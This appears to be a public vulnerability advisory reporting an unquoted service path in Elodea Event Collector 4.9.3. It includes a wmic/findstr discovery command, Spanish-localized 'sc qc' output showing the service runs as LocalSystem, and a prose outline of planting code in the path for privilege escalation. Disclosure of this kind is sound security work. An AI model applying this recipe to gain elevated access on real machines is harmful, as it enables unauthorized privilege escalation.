Elodea Event Collector 4.9.3 - 'ElodeaEventCollectorService' Unquoted Service Path

# Exploit Title: Elodea Event Collector 4.9.3 - 'ElodeaEventCollectorService' Unquoted Service Path
# Discovery by: Alan Mondragon
# Discovery Date: 2021-03-23
# Vendor Homepage: https://eventlogxp.com/
# Software Links : https://eventlogxp.com/
# Tested Version: Version: 4.9.3
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro 64 bits
 
# Step to discover Unquoted Service Path: 
 
C:\WINDOWS\system32>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
Elodea Event Collector Service                                                                                                     ElodeaEventCollectorService                             C:\Program Files (x86)\Elodea\EventCollector.exe                                                                                Auto


C:\WINDOWS\system32>sc qc "ElodeaEventCollectorService"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: ElodeaEventCollectorService
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Elodea\EventCollector.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Elodea Event Collector Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

 
#Exploit:
 
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.